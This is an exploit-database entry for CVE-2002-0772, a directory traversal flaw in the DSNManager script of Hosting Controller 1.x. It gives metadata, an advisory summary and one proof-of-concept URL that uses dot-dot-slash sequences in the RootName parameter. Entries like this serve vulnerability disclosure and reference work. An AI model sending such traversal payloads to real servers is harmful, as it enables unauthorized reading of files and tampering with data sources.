Hosting Controller 1.x - DSNManager Directory Traversal

Author: hdlkha
type: webapps
platform: asp
port: nan
date_added: 2002-05-17 
date_updated: 2012-09-22 
verified: 1 
codes: CVE-2002-0772;OSVDB-6459 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/4759/info

Hosting Controller is an application which consolidates all hosting tasks into one interface. Hosting Controller runs on Microsoft Windows operating systems.

The DSNManager script does not sufficiently filter dot-dot-slash (../) sequences from URL parameters, making it prone to directory traversal attacks. An attacker can exploit this condition to disclose the contents of arbitrary web-readable files or potentially add a DSN (Data Source Number) to an arbitrary directory.

http://target/admin/dsn/dsnmanager.asp?DSNAction=ChangeRoot&RootName=D:\webspace\opendnsserver\targ
et\target.com\db\..\..\..\..\